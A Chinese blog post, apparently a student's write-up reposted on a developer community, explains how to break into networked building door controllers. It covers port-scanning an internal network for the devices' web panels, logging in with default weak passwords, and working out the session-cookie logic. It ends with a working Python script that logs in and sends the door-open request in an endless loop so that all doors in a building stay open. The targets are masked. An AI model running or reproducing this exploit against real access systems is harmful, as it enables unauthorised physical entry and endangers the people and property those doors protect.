前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Python 黑客——使用Python破解门禁系统

Python 黑客——使用Python破解门禁系统

作者头像
用户1467662
发布2018-03-30 11:59:53
4.5K0
发布2018-03-30 11:59:53
举报
文章被收录于专栏:农夫安全农夫安全

如何使用Python破解门禁系统

前言

Solesec白帽团队楚轩大校原创文章

正文

说起黑客,从小的我就觉得黑客很炫酷,我以前经常看小说,说的一般就是一个黑客一下子就可以把监控啊啥的黑掉。还可以让所有的门一瞬间打开。和同学合作忙了好几天,终于做到了使用python让整栋楼的门一瞬间全部打开且都关不上。事情从头说起。

我们这学期有python课,期末考试说的是用python来做一个项目进行答辩。我们学校有一个信息安全工作室,我一般就在里面学习,但是经常有人来敲门,就觉得很麻烦,就想做一个开门的东西,点一下就开门。我这里先给大家讲一讲我自己一年以来对物联网的一些经验。

一般来说,学校啊,大企业啊都会有门禁系统,指纹系统,监控系统。这三个系统都是必备的,现在普遍大家都在搞web安全,但是会忽略很多其他地方的安全,我今天主要以门禁来讲。门禁系统现在一般都是用的物联网,也就是说那个门禁机是有ip地址的。先说一下开门的逻辑。刷卡——>门上的电磁铁断电——>断电之后电磁铁失去功效——>开门。大概理论就是这样,但是既然是物联网,管理员一般使用的是一个集成的门禁管理系统或者一个集成的监控系统来统一管理监控和门禁。但是忽略了一点,每一个摄像头,每一个门禁机,都会有一个独立的ip地址,管理员往往把集成管理平台的安全保障的很好,但是往往会忽略这一个个设备独立的ip地址。听不懂?没关系,我上两张图。

看到了吗?一图很明显是管理员用来管理的,这个的密码啊验证码啊啥的防护的非常非常严格。但是管理员往往忽略了这些单独的摄像头。单独的物联网设备也会有一个属于自己的独立的ip地址,当然这是在内网。

监控是这样,门禁系统也是如此。

这个图明显的是一个管理员用来管理的cs端,这是门禁系统,这个cs端管理了所有的门禁系统,但是管理员常常也会忽略这些单独门禁系统的bs端的安全,通过扫描80端口开放的方法大概花一周时间便可以找到这些存在于内网的单独的设备。

这便是单独的门禁机的ip的web管理界面。这些单独的机器设备一般在大企业的内网里面会有成百上千台。花一两天时间扫描一下端口便会把他们暴露出来。管理员常常只会注重集中管理的设备的安全而不会注重这些单独一个一个的设备的安全。

重点

这个时候正题来了。这篇文章的主题是python黑客。当然会用python来搞点好玩的东西用来期末答辩。思路如下。看到那个图里的远程开门没,要利用的东西就是这个。首先是知道这个单独的机器的登陆账号密码。密码很简单,就是默认的弱口令。进去之后使用python发http请求,就是python模拟登陆一下,然后模拟点击那个远程开门。门就可以开了。但是这肯定远远不够,可以来个大胆的想法,如果我们加一个循环呢?是不是门就一直开了关不掉了。再然后我们是不是可以把多个设备一起发http请求,让所有的门都一直开着关不掉?当然可以,但是物联网设备和普通的模拟登陆不一样。我们需要先分析他的逻辑工作过程,这个很重要很重要,我就是在这个问题上卡了好几天最后去问师兄才解决。

首先来分析一下这个门禁机的工作流程。使用burpsuite来分析他的请求,我这里就直接说我得出的结论了,大家如果要对不同的设备做操作一定要用burpsuite来分析逻辑流程。

首先来到登陆框,这里直接刷新

这个时候我没有登陆。只是单纯的刷新了一次。注意这里有一个cookie:sessionid=15xxxx,这是一个递增的数,我最开始没有注意他,所以一直导致模拟登陆失败。此时我输入正确的账号密码然后点击登陆,抓包。

这里可以知道/csl/check 这个文件处理我们传去的username和password。但是这个cookie依然是我们刚刚那个,这里我直接说大量测试之后的结论。在访问这个页面的时候就会给你一个sessionid,如果登陆成功,那么这个sessionid就会生效,如果登陆失败,那么这个sessionid就会无效。所以,一旦登陆成功,那么我们的请求里如果带有这个一进网页就给我们的,并成功登陆了的sessionid,就可以操作登陆后的操作,也就是开门。这句话有点绕,可以仔细多读几遍。

现在来验证一下得出的结论是不是真的。我刚刚图里的sessionid是1514067318。我刚刚登陆成功了,我现在退出登陆,重新乱输一个密码,然后直接访问一下登陆后的页面。

这账号密码很明显是乱输入的,但是注意观察,我们的sessionid并没有变化。这个web是用csl/check这个文件来验证账号密码是否正确的,刚刚我们用这个sessionid=1514067318已经成功登陆了一次,已经可以用这个sessionid来做登陆后的操作了,现在如果乱输入密码,再点登陆,sessionid没有变,但是密码是错误的,所以过不了check这一关。

但是,我刚刚说过了。我花了大量时间来验证这个网站的逻辑流程,当我们一访问这个网站的时候就会同时获取一个sessionid,如果登陆成功,sessionid便可以用来访问登陆后的界面,并保持一段时间都可以访问登陆后的界面。如果失败,那这个sessionid便没有用了。好了这个时候我们换一个浏览器来验证我的猜想。

看这里 menu是登陆后才能访问的界面。我直接换了浏览器去访问这个界面,sessionid已经变化,所以他直接给我谈回了登陆界面。但是,如果我把这个sessionid改成刚刚另一个浏览器成功登陆的sessionid 1514067318 呢?

看到没。我直接就进来了,然后此时刷新一下发现sessionid是我们后来重新获取的,这个sessionid是没有权限访问这个登陆后的界面的(因为这个sessionid没有用正确的账号密码登陆过)。所以一刷新他又会弹回登陆界面。

结论

好了说了这么多,最终的结论就是,这个网站在一访问的时候就会获取到一个sessionid,如果用这个sessionid成功登陆了,那么这个sessionid将被服务端认定为可以访问登陆后内容的sessionid,带上这个sessionid,就可以任意访问那些登陆后的界面。

这个web和其他登陆类网站最大的区别就是,其他很多登陆类网站在登陆成功后由服务端返回一个cookie给你。然后你就可以用这个cookie去访问登陆后的页面。但是这个网站就不一样了,这个网站在你一访问的时候就会给你一个cookie,如果登陆成功,那么这个cookie便会生效成为可以访问登陆界面之后的cookie。

所以这个python模拟登陆的代码 就不能和普通的模拟登陆一样,就要这样写,先访问一次网页直接获取cookie。然后把这个cookie放在header头里面。然后再用正确的账号密码登陆,此时这个header头的cookie就生效了,就可以使用这个sessionid来访问登陆后的界面了!自然可以做开门的操作了。然后无限循环,就可以让这个门关不了,然后把整栋楼的这个设备的ip都加进去。嘿嘿嘿。。。。。

代码如下,这个代码仅供参考,只能给我们这里的门禁机一直发开门请求,不同设备处理请求和验证cookie的方法是不一样的,所以我刚刚写了那么多来分析这个设备处理参数的逻辑流程,把逻辑流程弄懂了才能写出适合对应设备的代码

代码

python3环境,需要安装requests模块

代码语言:javascript
复制
import requests
import socketimport jsonfrom urllib import requestfrom http import cookiejardef get_cookie():                                        cookie = cookiejar.CookieJar()    h = request.HTTPCookieProcessor(cookie)    o = request.build_opener(h)    res = o.open('http://xx.xx.xx.xx')    c = requests.utils.dict_from_cookiejar(cookie)    a = c['SessionID']    the_cookie = 'SessionID=' + a    return the_cookiedef dl(headers,data):    url = 'http://xx.xx.xx.xx/csl/check'      #这个check是处理输入账号密码的文件    kaim_url = 'http://xx.xx.xx.xx/form/Device?act=9'                                             #这个是开门用的地址,就是一登陆进去点一下这个链接门就会开    s = requests.session()    r = s.post(url, headers=headers, data=data)    text_url = 'http://xx.xx.xx.xx/csl/menu'     #menu是登陆之后的那个界面    t = s.get(text_url, headers=headers)    q = s.get(kaim_url, headers=headers)if __name__=='__main__':        cookies = get_cookie()    headers = {'Host': 'xx.xx.xx.xx','Cookie': cookies}    data = {'username':'账号','userpwd':'密码'}    while True:     #一直发请求让门一直开        sss = dl(headers, data)        print('开门成功!')
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 网络安全社区悦信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 如何使用Python破解门禁系统
相关产品与服务
物联网
腾讯连连是腾讯云物联网全新商业品牌,它涵盖一站式物联网平台 IoT Explorer,连连官方微信小程序和配套的小程序 SDK、插件和开源 App,并整合腾讯云内优势产品能力,如大数据、音视频、AI等。同时,它打通腾讯系 C 端内容资源,如QQ音乐、微信支付、微保、微众银行、医疗健康等生态应用入口。提供覆盖“云-管-边-端”的物联网基础设施,面向“消费物联”和 “产业物联”两大赛道提供全方位的物联网产品和解决方案,助力企业高效实现数字化转型。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档